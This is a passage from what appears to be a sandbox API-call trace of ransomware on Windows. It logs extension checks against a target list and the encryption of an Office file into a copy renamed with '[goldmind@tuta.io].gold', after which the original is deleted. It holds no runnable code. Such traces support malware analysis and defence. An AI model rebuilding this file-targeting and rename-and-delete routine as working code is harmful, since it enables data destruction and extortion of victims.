-1 [0111.649] lstrlenW (lpString=".ppt") returned 4 [0111.649] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.649] lstrlenW (lpString=".zip") returned 4 [0111.649] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString=".rar") returned 4 [0111.649] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString=".bz2") returned 4 [0111.649] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.649] lstrlenW (lpString=".7z") returned 3 [0111.649] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.649] lstrlenW (lpString=".dbf") returned 4 [0111.649] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.649] lstrlenW (lpString=".1cd") returned 4 [0111.649] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.649] lstrlenW (lpString=".jpg") returned 4 [0111.649] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.649] lstrlenW (lpString=".doc") returned 4 [0111.649] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.649] lstrlenW (lpString=".docx") returned 5 [0111.649] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1 [0111.649] lstrlenW (lpString=".pdf") returned 4 [0111.649] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString=".xls") returned 4 [0111.649] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString=".xlsx") returned 5 [0111.649] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned -1 [0111.649] lstrlenW (lpString=".ppt") returned 4 [0111.649] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.649] lstrlenW (lpString=".zip") returned 4 [0111.650] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.650] lstrlenW (lpString=".rar") returned 4 [0111.650] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.650] lstrlenW (lpString=".bz2") returned 4 [0111.650] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.650] lstrlenW (lpString=".7z") returned 3 [0111.650] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.650] lstrlenW (lpString=".dbf") returned 4 [0111.650] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.650] lstrlenW (lpString=".1cd") returned 4 [0111.650] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0111.650] lstrlenW (lpString=".jpg") returned 4 [0111.650] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.650] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0111.650] lstrlenW (lpString="OLAPPT.FAE") returned 10 [0111.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.651] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=122280) returned 1 [0111.651] CloseHandle (hObject=0x3e0) returned 1 [0111.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 0x20 [0111.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0111.651] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.651] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0111.652] GetLastError () returned 0x0 [0111.652] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x1dda8, lpOverlapped=0x0) returned 1 [0111.657] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1ddb0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1ddb0, lpOverlapped=0x0) returned 1 [0111.802] ReadFile (in: hFile=0x3e0, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.802] WriteFile (in: hFile=0x380, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0111.802] SetEndOfFile (hFile=0x380) returned 1 [0111.802] CloseHandle (hObject=0x380) returned 1 [0111.803] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.803] SetEndOfFile (hFile=0x3e0) returned 1 [0111.805] CloseHandle (hObject=0x3e0) returned 1 [0111.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 1 [0111.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.868] lstrlenW (lpString=".doc") returned 4 [0111.868] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.868] lstrlenW (lpString=".docx") returned 5 [0111.868] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1 [0111.868] lstrlenW (lpString=".pdf") returned 4 [0111.868] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.868] lstrlenW (lpString=".xls") returned 4 [0111.868] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.868] lstrlenW (lpString=".xlsx") returned 5 [0111.868] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1 [0111.868] lstrlenW (lpString=".ppt") returned 4 [0111.868] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.868] lstrlenW (lpString=".zip") returned 4 [0111.868] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.868] lstrlenW (lpString=".rar") returned 4 [0111.868] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.868] lstrlenW (lpString=".bz2") returned 4 [0111.868] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.868] lstrlenW (lpString=".7z") returned 3 [0111.868] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.868] lstrlenW (lpString=".dbf") returned 4 [0111.868] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.868] lstrlenW (lpString=".1cd") returned 4 [0111.868] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.868] lstrlenW (lpString=".jpg") returned 4 [0111.868] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.868] lstrlenW (lpString=".doc") returned 4 [0111.868] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.868] lstrlenW (lpString=".docx") returned 5 [0111.869] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1 [0111.869] lstrlenW (lpString=".pdf") returned 4 [0111.869] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.869] lstrlenW (lpString=".xls") returned 4 [0111.869] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.869] lstrlenW (lpString=".xlsx") returned 5 [0111.869] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1 [0111.869] lstrlenW (lpString=".ppt") returned 4 [0111.869] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.869] lstrlenW (lpString=".zip") returned 4 [0111.869] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.869] lstrlenW (lpString=".rar") returned 4 [0111.869] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.869] lstrlenW (lpString=".bz2") returned 4 [0111.869] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.869] lstrlenW (lpString=".7z") returned 3 [0111.869] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.869] lstrlenW (lpString=".dbf") returned 4 [0111.869] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.869] lstrlenW (lpString=".1cd") returned 4 [0111.869] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0111.869] lstrlenW (lpString=".jpg") returned 4 [0111.869] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.869] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.869] lstrlenW (lpString="CSS7DATA0009.DLL") returned 16 [0111.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0111.870] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=594352) returned 1 [0111.870] CloseHandle (hObject=0x3d4) returned 1 [0111.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll")) returned 0x20 [0111.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data0009.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.870] lstrlenW (lpString=".doc") returned 4 [0111.870] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.870] lstrlenW (lpString=".docx") returned 5 [0111.870] lstrcmpiW (lpString1=".docx", lpString2="9.DLL") returned -1 [0111.870] lstrlenW (lpString=".pdf") returned 4 [0111.870] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.870] lstrlenW (lpString=".xls") returned 4 [0111.870] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.870] lstrlenW (lpString=".xlsx") returned 5 [0111.870] lstrcmpiW (lpString1=".xlsx", lpString2="9.DLL") returned -1 [0111.870] lstrlenW (lpString=".ppt") returned 4 [0111.870] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.870] lstrlenW (lpString=".zip") returned 4 [0111.870] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.870] lstrlenW (lpString=".rar") returned 4 [0111.870] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.870] lstrlenW (lpString=".bz2") returned 4 [0111.870] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.871] lstrlenW (lpString=".7z") returned 3 [0111.871] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString=".dbf") returned 4 [0111.871] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString=".1cd") returned 4 [0111.871] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString=".jpg") returned 4 [0111.871] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString=".doc") returned 4 [0111.871] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.871] lstrlenW (lpString=".docx") returned 5 [0111.871] lstrcmpiW (lpString1=".docx", lpString2="9.DLL") returned -1 [0111.871] lstrlenW (lpString=".pdf") returned 4 [0111.871] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.871] lstrlenW (lpString=".xls") returned 4 [0111.871] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.871] lstrlenW (lpString=".xlsx") returned 5 [0111.871] lstrcmpiW (lpString1=".xlsx", lpString2="9.DLL") returned -1 [0111.871] lstrlenW (lpString=".ppt") returned 4 [0111.871] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString=".zip") returned 4 [0111.871] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.871] lstrlenW (lpString=".rar") returned 4 [0111.871] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.871] lstrlenW (lpString=".bz2") returned 4 [0111.871] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.871] lstrlenW (lpString=".7z") returned 3 [0111.871] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString=".dbf") returned 4 [0111.871] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString=".1cd") returned 4 [0111.871] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA0009.DLL") returned 59 [0111.871] lstrlenW (lpString=".jpg") returned 4 [0111.871] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.871] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.871] lstrlenW (lpString="CSS7DATA000A.DLL") returned 16 [0111.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0111.872] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=766384) returned 1 [0111.872] CloseHandle (hObject=0x3d4) returned 1 [0111.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll")) returned 0x20 [0111.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000a.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.873] lstrlenW (lpString=".doc") returned 4 [0111.873] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.873] lstrlenW (lpString=".docx") returned 5 [0111.873] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0111.873] lstrlenW (lpString=".pdf") returned 4 [0111.873] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.873] lstrlenW (lpString=".xls") returned 4 [0111.873] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.873] lstrlenW (lpString=".xlsx") returned 5 [0111.873] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0111.873] lstrlenW (lpString=".ppt") returned 4 [0111.873] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.873] lstrlenW (lpString=".zip") returned 4 [0111.873] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.873] lstrlenW (lpString=".rar") returned 4 [0111.873] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.873] lstrlenW (lpString=".bz2") returned 4 [0111.873] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.873] lstrlenW (lpString=".7z") returned 3 [0111.873] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.873] lstrlenW (lpString=".dbf") returned 4 [0111.873] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.873] lstrlenW (lpString=".1cd") returned 4 [0111.873] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.873] lstrlenW (lpString=".jpg") returned 4 [0111.873] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.874] lstrlenW (lpString=".doc") returned 4 [0111.874] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.874] lstrlenW (lpString=".docx") returned 5 [0111.874] lstrcmpiW (lpString1=".docx", lpString2="A.DLL") returned -1 [0111.874] lstrlenW (lpString=".pdf") returned 4 [0111.874] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.874] lstrlenW (lpString=".xls") returned 4 [0111.874] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.874] lstrlenW (lpString=".xlsx") returned 5 [0111.874] lstrcmpiW (lpString1=".xlsx", lpString2="A.DLL") returned -1 [0111.874] lstrlenW (lpString=".ppt") returned 4 [0111.874] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.874] lstrlenW (lpString=".zip") returned 4 [0111.874] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.874] lstrlenW (lpString=".rar") returned 4 [0111.874] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.874] lstrlenW (lpString=".bz2") returned 4 [0111.874] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.874] lstrlenW (lpString=".7z") returned 3 [0111.874] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.874] lstrlenW (lpString=".dbf") returned 4 [0111.874] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0111.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.874] lstrlenW (lpString=".1cd") returned 4 [0111.874] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0111.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000A.DLL") returned 59 [0111.874] lstrlenW (lpString=".jpg") returned 4 [0111.874] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0111.874] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0111.874] lstrlenW (lpString="CSS7DATA000C.DLL") returned 16 [0111.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0111.877] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=766384) returned 1 [0111.877] CloseHandle (hObject=0x3d4) returned 1 [0111.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll")) returned 0x20 [0111.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\css7data000c.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.878] lstrlenW (lpString=".doc") returned 4 [0111.878] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0111.878] lstrlenW (lpString=".docx") returned 5 [0111.878] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0111.878] lstrlenW (lpString=".pdf") returned 4 [0111.878] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0111.878] lstrlenW (lpString=".xls") returned 4 [0111.878] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0111.878] lstrlenW (lpString=".xlsx") returned 5 [0111.878] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0111.878] lstrlenW (lpString=".ppt") returned 4 [0111.878] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0111.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CSS7DATA000C.DLL") returned 59 [0111.878] lstrlenW (lpString=".zip") returned 4 [0111.878] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0111.878] lstrlenW (lpString=".rar") returned 4 [0111.878] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0111.878] lstrlenW (lpString=".bz2") returned 4 [0111.878] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0111.878] lstrlenW (lpString=".7z") returned 3 [0111.878] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0111.878] lstrlenW (lpString="C:\\Program Files\\Microsoft 